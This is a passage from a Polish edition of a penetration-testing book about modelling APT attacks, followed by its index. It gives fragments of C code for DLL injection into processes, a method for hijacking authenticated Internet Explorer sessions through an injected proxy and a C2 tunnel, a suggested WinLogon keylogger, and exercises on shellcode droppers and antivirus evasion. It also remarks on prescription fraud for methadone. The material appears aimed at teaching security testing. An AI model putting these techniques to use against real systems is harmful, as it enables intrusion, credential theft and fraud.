lpBuffer = HeapAlloc( GetProcessHeap(), 0, dllFileLength);ReadFile( hFile, lpBuffer, dllFileLength, &dwBytesRead, NULL );

Poleć książkęKup książkę

Page 31: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Atak 51

WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dllFileLength, NULL );dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpWriteBuff);

Uruchomienie kodu proxy DLL

rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0,lpStartExecAddr, lpExecParam, 0, NULL);WaitForSingleObject(rThread, INFINITE);

Zalecam zapoznanie się z tym funkcjami API, ponieważ umiejętność przenoszenia kodu mię-dzy procesami jest podstawą w zawodzie testera wykonującego modelowanie ataków APT i jest wielesytuacji, w których ta umiejętność może się przydać, choćby na przykład gdy trzeba obejść białą listęprocesów albo przenieść atak do innej architektury bądź też zwiększyć sobie uprawnienia. Powiedzmyna przykład, że chcemy skraść dane do logowania do systemu Windows. W takim przypadku mo-żemy wstrzyknąć do procesu WinLogon rejestrator naciskanych klawiszy. Później pokazuję też, jakpodobne techniki zastosować w systemach uniksowych. Pamiętaj też, że jeśli nie chcesz przygotowy-wać własnego ataku, możesz skorzystać z licznych gotowych ataków polegających na wstrzykiwa-niu kodu do procesów. Taką funkcję ma też środowisko Metasploit, którego zalety i wady opisujęw następnych rozdziałach.

Etap 2: tworzenie biblioteki DLL proxy na podstawie API WinInetWiemy już, co trzeba zrobić, aby wstawić kod do procesu IE, więc teraz musimy się zastanowić, cotam wyślemy i dlaczego.

Przeglądarka Internet Explorer używa API WinInet tylko do obsługi wszystkich swoich proce-sów komunikacyjnych. Nie jest to zaskakujące, jeśli weźmie się pod uwagę fakt, że mowa o dwóchsztandarowych technologiach Microsoftu. Z API WinInet może korzystać każdy program, aby naprzykład zarządzać ciasteczkami i sesją, procesami uwierzytelniania itd. Interfejs ten ma wszystkiefunkcje potrzebne do implementacji przeglądarki internetowej lub podobnej technologii, takiej jakproxy HTTP. Jako że WinInet transparentnie obsługuje uwierzytelnianie w pojedynczych procesach,to jeżeli uda nam się wstrzyknąć własny serwer proxy do docelowego procesu IE i skierować naszruch sieciowy przez ten serwer, odziedziczymy stany sesji tej aplikacji. Dotyczy to także sesji uwie-rzytelnionych za pomocą mechanizmu dwuetapowego.

IMPLEMENTACJA FUNKCJONALNOŚCI SERWERA PROXY

Budowa serwera proxy to zbyt daleko idąca dygresja w stosunku do tematu tej książki,ale zawsze można kupić taki serwer od jednego z licznych producentów tego typu opro-gramowania. Serwery te są zaimplementowane wyłącznie przy użyciu API WinInet, którymożna zintegrować zgodnie ze swoimi potrzebami.

Poleć książkęKup książkę

Page 32: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

52 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

Etap 3: użycie wstrzykniętego serwera proxyPrzyjmując, że wszystkie poprzednie czynności poszły nam jak z płatka, mamy już serwer proxyHTTP uruchomiony na docelowej maszynie (powiedzmy, że działa na porcie TCP 1234) i ograni-czony do lokalnego interfejsu Ethernet. Jako że nasza infrastruktura dowodzenia i kontroli nie jestjeszcze na tyle zaawansowana, abyśmy przy jej użyciu mogli „w locie” otwierać zdalne tunele, musimywbudować dodatkowy tunel w nasz ładunek kodu. Na razie naszym jedynym tunelem prowadzącymdo docelowej maszyny jest tunel zapewniający dostęp do serwera SSH. Potrzebujemy jeszcze zdal-nego tunelu wskazującego port w stacji docelowej 1234 i tworzącego punkt końcowy (powiedzmy,że port TCP 4321) na naszym serwerze C2. Powinno to wyglądać tak, jak widać na rysunku 1.12.

Rysunek 1.12. Kompletny atak z dostępem do dokumentacji medycznej

W tym momencie możemy już dodawać nowych pacjentów i przepisywać im leki, kiedy tylkochcą. Do pobrania leków z apteki nie jest potrzebny żaden identyfikator, ponieważ należy go okazaćjedynie podczas tworzenia konta. To oczywiście tylko pole do zaznaczenia, jeśli chodzi o bazę danych.W aptece przed wydaniem metadonu spytają tylko o datę urodzenia.

„Nie ma żadnej chmury, są tylko cudze komputery”

— autor nieznany

Poleć książkęKup książkę

Page 33: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Podsumowanie 53

PodsumowanieW tym rozdziale pokazałem Ci, jak za pomocą skryptów VBA i VBS podrzucić do komputera ofiaryładunek współpracujący z systemem dowodzenia i kontroli. Pokazałem Ci, jak po umieszczeniu swoje-go kodu źródłowego we właściwym miejscu zinfiltrować proces Internet Explorera i obejść dwu-etapowe uwierzytelnianie bez potrzeby zdobywania nazw użytkowników, haseł ani uzyskiwaniadostępu do fizycznych tokenów.

Należy podkreślić, że wiele osób uważa ataki z użyciem makr za technikę z dawnych lat 90.ubiegłego wieku, która dawno odeszła już do lamusa. W rzeczywistości jednak makra wciąż są żywe,tylko po prostu przez pewien czas istniały łatwiejsze sposoby na dostanie się do docelowych kom-puterów niż posługiwanie się makrami (lepiej było na przykład wykorzystać technologię AdobeFlash). W miarę jak takie ataki coraz rzadziej kończą się powodzeniem, na nowo można zauważyćodrodzenie popularności makr Office’a.

Jaki jest morał z tego rozdziału? Po pierwsze: makra — kiedy ostatni raz widziałeś takie, bezktórego nie byłeś w stanie wykonać swojej pracy? Jeśli ktoś próbuje na wszelkie sposoby zachęcićCię do kliknięcia tego przycisku z napisem Włącz, to prawdopodobnie ma niecne zamiary. W ogólemakra są podejrzane. Zwrotny adres e-mail nie jest żadną wskazówką na temat tożsamości nadawcy.

Dwuetapowe uwierzytelnianie podnosi poprzeczkę, ale nie na tyle, aby nie dało się jej przeskoczyć.Bez względu na rodzaj drugiej metody uwierzytelniania (może to być na przykład karta kodów alboprzesyłanie hasła w SMS-ie) rezultat jest taki sam jak w przypadku zastosowania uwierzytelnianiajednoskładnikowego: zostaje utworzona bezstanowa sesja HTTP, którą można przejąć poprzezprzechwycenie ciasteczek albo stosując atak typu człowiek pośrodku. Koniecznie trzeba mieć się nabaczności.

Opisane do tej pory przypadki są zmyślone i proste, ponieważ chciałem na ich przykładzie jaknajbardziej obrazowo przedstawić podstawowe pojęcia i koncepcje. W kolejnych rozdziałach będziecoraz trudniej, ponieważ przechodzę w nich do bardziej zaawansowanych metod ataku. Od tej po-ry na pierwszym miejscu bezkompromisowo będziemy stawiać dyskrecję — to jest najważniejszywarunek przeprowadzenia udanego ataku APT.

W następnym rozdziale pokażę Ci, jak rozbudować infrastrukturę C2, aby spełniała bardziej re-alistyczne funkcje, oraz przyjrzymy się sposobom wykorzystania apletów Javy do dyskretnego wy-syłania ładunków kodu na komputer ofiary.

ĆwiczeniaW tym rozdziale opisałem wiele technologii, których możesz nie znać. Dlatego zalecam bardzouważne wykonanie poniższych ćwiczeń, tak aby nabyć pewności siebie w posługiwaniu się opisa-nymi narzędziami, choć nie jest to absolutnie niezbędne, aby przejść do następnego rozdziału.

1. Zaimplementuj opisaną w tym rozdziale infrastrukturę C2 przy użyciu biblioteki libsshi języka programowania C. Ewentualnie użyj jakiejkolwiek innej biblioteki i dowolnegojęzyka, które znasz.

Poleć książkęKup książkę

Page 34: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

54 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

2. Zaimplementuj w języku VBS dropper C2 pobierający ładunek w postaci shellcode’uzamiast pliku .exe i wstrzykujący go bezpośrednio do pamięci. Użyj wywołań API z pierwszegoskryptu VBA.

3. Zakładając, że nie ma innego sposobu niż przesłanie ładunku jako shellcode’u w skrypcieVBA, jak go zaciemnisz, wprowadzisz do pamięci po jednym bajcie, a następnie wykonasz?Za pomocą serwisu VirusTotal i innych narzędzi sprawdź, jak programy antywirusowereagują na Twoje rozwiązania.

Poleć książkęKup książkę

Page 35: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

245

Skorowidz

A

Abene Mark25Active Directory, 76, 115

analiza danych, 77Adobe AIR, 219Adobe InDesign, 220

pakiet, 222wtyczka, 220, 221, 222

adres IP, 85KRLD, 233, 241

advanced persistent threat, Patrz: atak APTalgorytm

Base64, 42, 137Fast Fourier Transform, 237haszujący, 129shikata-ga-nai, 35

AlienVault, 90, 103analiza ruchu, 88

oparta na sygnaturach, 87Android, 240, 242aplet, 60, 81

certyfikat, 58, 59aplikacja

AIR, 219Android, 242HTML, 156iOS, 242JWS, 219

VoIP, 243App Store, 242APT, Patrz: atak APT, C2archiwum .jar, Patrz: plik .jaratak

APT, 22, 23, 30, 39, 45, 83, 131, 140, Patrz też: C2brute force, 90człowiek w przeglądarce, 24DoS, 235korelacyjny, 132na pliki określonego rodzaju, 127, 129Pass the Hash, 115przy użyciu telefonu, 187ransomware, Patrz: ransomwareskrót zamiast hasła, 118, 120spear phishing, 92waterhole, 243wektor, 126z użyciem pamięci USB, 194, 195, 197

B

backdoor, 24sprzętowy, Patrz: skrzynka creepera

bibliotekaDLL porywanie, 159, 167, 168, 169libgcrypt, 128libssh, 46, 47, 61

bitcoin, 126, 129

Poleć książkęKup książkę

Page 36: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

246 Skorowidz

bootloader, 197, 232Bowes Ron, 86broń, 123, 124, 156

kopiowanie, 125browser pivoting, 49

C

C2, 22, 45, 71, 84, 131, 212agent, 212

nadrzędny, 214, 215, 216, 217podporządkowany, 214, 216zarządzanie półautonomiczne, 215zarządzanie przez serwer C2, 213, 214

implementacja, 73ładunek, 46, 48serwer, 46, 48, 132wersja, 58, 61, 62

Linux, 67, 68macOS, 70Windows, 66

centrum bezpieczeństwa, Patrz: SOCcertyfikat, 58, 59chmura, 146ciasteczko, 150, 205creeper box, Patrz: skrzynka creeperaCult of the Dead Cow, 29

D

daneDNS, 86, 87eksfiltracja, 23, 191, 197, 198, 205

autonomiczna, 196LDAP, 205

deszyfrowanie, 127, 128DNS

dane, Patrz: dane DNSdetekcja anomalii, 87tunelowanie, Patrz: tunelowanie DNS

Dropbox, 197drukarka sieciowa, 91dysku szyfrowanie, 101, 121, 172, 175

E

e-mail, 198fałszywy, 65, 75Gmail, Patrz: Gmailhasła przechwytywanie, 149PayPal, 200transakcyjny, 75, 200wykradanie, 149

emulator klawiatury, 197exploit, 101, 104, 126

automatycznej instalacji systemu operacyjnego,159, 163

CVE-2015-5122, 106do łamania hasła, 78lokalny, 101, 107, 159, 160, 163

F

fakt rozmyty, 208Flash, 101, 103, 126, 244

wersja, 106FTP, 136funkcja

DAC, 229, 230derywacji kluczy, 129gcry_pk_decrypt, 128gcry_pk_encrypt, 128gcry_pk_genkey, 128

G

Gmail, 146, 151Google Play, 242

H

haker, 25Hard Disk Firewall, 100, 112harmonogram zadań, 159, 164, 165hasło

odzyskiwanie, 118przechwytywanie, 149, 150, 160

Poleć książkęKup książkę

Page 37: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Skorowidz 247

skrót, 78, 79, 114, 115, 118bez soli, 118

szyfrowanie, 149haszowanie, 128, 129HIDS, 88HTA, 203HTML5, 220, 243

IIDS, 88, 110

hostowy, Patrz: NIDSpoziom zagrożenia, 91sieciowy, Patrz: NIDS

InDesign, Patrz: Adobe InDesignIndicator of Compromise, Patrz: IoCinformacja źródła ogólnodostępne, Patrz: OSINTinfrastruktura dowodzenia i kontroli, Patrz: C2instalator

Inno, 94InstallShield, 94

interfejsAPI, 242Metasploita, 110użytkownika, 74

intranet, 241intrusion detection system, Patrz: IDSinżynieria

społeczna, 22, 44, 57, 92, 105, 195, 207, 223, 243czytanie na zimno, 208pochlebstwa, 210, 211przypisywanie zdolności paranormalnych, 209rozmyty fakt, 208tęczowy podstęp, 210twierdzenie Barnuma, 212twierdzenie Jakuba, 211

wsteczna, 125IoC, 24

JJava, 57, 60, 103

aplet, Patrz: apletmagazyn kluczy, 66

Java Web Start, Patrz: aplikacja JWS

JavaScript, 104, 106język

Java, Patrz: JavaJavaScript, Patrz: JavaScriptPowerShell, 135Python, 74skryptowy, 40, 135TCL, 91VBA, Patrz: VBAVBS, 40

John the Ripper, 115

K

kamer, 243Kaminsky Dan, 86Kane, 29karta sieciowa, 198, 240key logger, 49, 150, 189, 196klawiatura emulator, 197klucz, 127

derywacja, 129deszyfrujący, 126generowanie zdalne, 127prywatny, 127, 128publicznego, 128publiczny, 127, 128, 129

skrót, 133skrót SHA, 127

kodDLL wstrzyknięcie, 49, 51podpisywanie, 58, 59samodzielny, 196, 203uwierzytelniania wiadomości, Patrz: MACzaciemnianie, 42, 137, 142

kontrola konta użytkownika, Patrz: UACkradzież tożsamości, 33kryptografia, 127, 128, Patrz też: szyfrowanie

asymetryczna, 127, 128klucz, 127, 128

prywatny, Patrz: kryptografia symetrycznapubliczny, Patrz: kryptografia asymetryczna

symetryczna, 128krzywa eliptyczna, 129

Poleć książkęKup książkę

Page 38: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

248 Skorowidz

L

Lell Jakob, 197LinkedIn, 105lista zakupów, 120, 128, 205luka bezpieczeństwa, 101, 104

Windows, 161, 163

Ł

ładunek, 41C2, Patrz: C2 ładunek

łatka, 161

M

MAC, 129makro VBA, 33, 34, 57, 81, 135, 146

automatyczne otwieranie, 40, 43Manning Bradley, 192Metasploit, 34, 101, 106, 108, 140

działanie, 113keylogger, 150moduł nasłuchujący, 108możliwości, 112wywołanie zwrotne, 23

Microsoft Exchange, 149Microsoft Outlook, 149, 198mikrofon, 243MitnickKevin, 25mostek, 134

pasywny, 171, 184Mudge Raphael, 110

N

napastnik, 25narzędzie

BITSadmin, 137Cron, 69dnscat, 86dnscat2, 86, 97do przekazywania skrótów, 24HashCat, 78

jarsigner, 66Masscan, 233msfvenom, 34, 39multimedialne, 207OTX, 91pkcs12import, 66PowerView, 76, 79, 115pvkimprt, 66Veil, 76Veil Evasion, 140, 142wiersza poleceń, 62, 79, 137

NIDS, 88NIPRNet, 201, 202Nohl Karsten, 197

O

ochrona domen e-mail, 65onion router, Patrz: TorOpen Source Intelligence, Patrz: OSINTOpen Threat Exchange, 131operations security center, Patrz: SOCOSINT, 126, 145OzymanDNS, 86

P

pakietdnscat2/SSH, 93ICMP, 85

pamięć USB, 194, 197PayPal, 127Pharmattix, 30, 32phishing, 33, 198Pietraszek Tadek, 86pivoting, 111plik

.class, 60, 61

.docm, 135, 147

.hta, 156, 157

.jar, 60, 61, 65, 219

.jnlp, 219

.msi, 159, 171

Poleć książkęKup książkę

Page 39: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Skorowidz 249

.ost, 149

.pst, 149CAD, 123, 125, 143CNC, 125, 143czyszczenie kryptograficzne, 129danych gier, 129DLL, Patrz: biblioteka DLLdnscat.c, 94hostname, 133nadpisanie, 128, 129PFX, 66PFX/P12, 66private_key, 133PVK, 66SPC, 66sysprep.inf, 164sysprep.xml, 164torrc, 132, 134unattended.xml, 164VMDK, 232XML, 219

podmiot zewnętrzny, 25podstęp tęczowy, 210polecenie

dig, 85, 86ping, 84su, 229

portTCP 9050, 134Poulsen Kevin, 25program

anywirusowy, 37, 38Microsoft Endpoint Protection, 38Qihoo-360, 43

rozruchowy infekowanie, 197protokół SSH, 23, 78, 91proxy SOCKS, 108przeglądarka, 101

Chrome, 150Internet Explorer, 156wtyczka, 101, 104

punkt dostępowy, 198, 199

R

ransomware, 101, 126, 128, 131Raspberry Pi, 172

komunikacja z C2, 180mostek, 184system operacyjny, 174zmiana adresu IP, 179

rejestru przeszukiwanie, 159, 170rejestrator

naciskanych klawiszy, Patrz: key loggerRolston Jake, 171rootkit, 70router

cebulowy, 131Cisco, 91, 239

nieudana próba logowania, 88rozpoznanie poziome, 22

S

Schneier Bruce, 33Security Incident Event Management, Patrz: SIEMSelenium, 57SELinux, 229, 230

wyłączanie, 232serwer

C2, Patrz: C2 serwerproxy, 51, 52, 84, 108sieciowy anonimowy, 132SSH, 46tinyhttpd, 74

serwisskanowania wirusów, 35VirusTotal, 35, 37, 94

shellcode, 34, 35, 38, 39, 109szyfrowanie, 109

sieć komórkowa, 199, 203KRLD, 236

SIEM, 89, 91SIPRNet, 191, 201, 202skaner antywirusowy, Patrz: program antywirusowy

Poleć książkęKup książkę

Page 40: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

250 Skorowidz

skryptFTP, 136SMTP, 75VBScript, 156, 158WSH, 136

skrzynka creepera, 171, 172SMS, 200sniffer, 149SOC, 89, 90, 97Solid Edge, 144SPF, 200stager, 62, 66sterownik 3G/4G, 203system

CNC, 123, 143kontroli zmian, 95, 96, 97operacyjny

Android, Patrz: AndroidRed Star, 226, 230Windows, Patrz: Windows

wykrywania nieautoryzowanego dostępu, Patrz: IDSszpiegostwo gospodarcze, 124szyfr

DSA, 128RSA, 128symetryczny, Patrz: kryptografia symetryczna

szyfrowanie, Patrz: kryptografia

T

Tailored Access Operations, 59telekomunikacja północnokoreańska, 235test

aplikacji sieciowych, 57heurystyczny, 39penetracyjny, 23, 25

Toneloc, 237Tor, 131, 132, 134trojan BO2K, 29tunelowanie

DNS, 86SSH, 97, 108Tor, 134

twierdzenieBarnuma, 212Jakuba, 211

U

UAC, 114uprawnienia

administratora, 111, 114, 119, 159eskalacja, 22, 114, 158, 205

metody, 159, 160, 163, 164, 167, 170Windows, 160, 164, 166, 167, 170

root, 229User Account Control, Patrz: UACusługa

chmurowa, 146DNS, 86podatna na ataki, 159VoIP, 237Windows, 166, 167

uwierzytelnianiedwuetapowe, 33, 49NTLM, 115omijanie, 49

użytkownikhasło, Patrz: hasłokontrola konta, Patrz: UACochrona tożsamości, 131

V

VBA, 33funkcja macierzysta, 40makro, Patrz: makro VBA

Veil Evasion, Patrz: narzędzie Veil Evasion

W

war dialing, 237, 240WarVOX, 238wektor ataku, Patrz: atak wektorWikiLeaks, 192Windows Exploit Suggester, 161, 162

Poleć książkęKup książkę

Page 41: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Skorowidz 251

Windows Scripting Host, 40, Patrz: WSHWireshark, 149WSH, 136, 195wybór lidera, 217wywołanie zwrotne, 23

Z

zapora sieciowa, 78zapytanie DNS rekurencyjne, 86zespół infiltracji sieci NSA/GCHQ, 59

Poleć książkęKup książkę

Page 42: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

252 Skorowidz

Poleć książkęKup książkę

Page 44: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników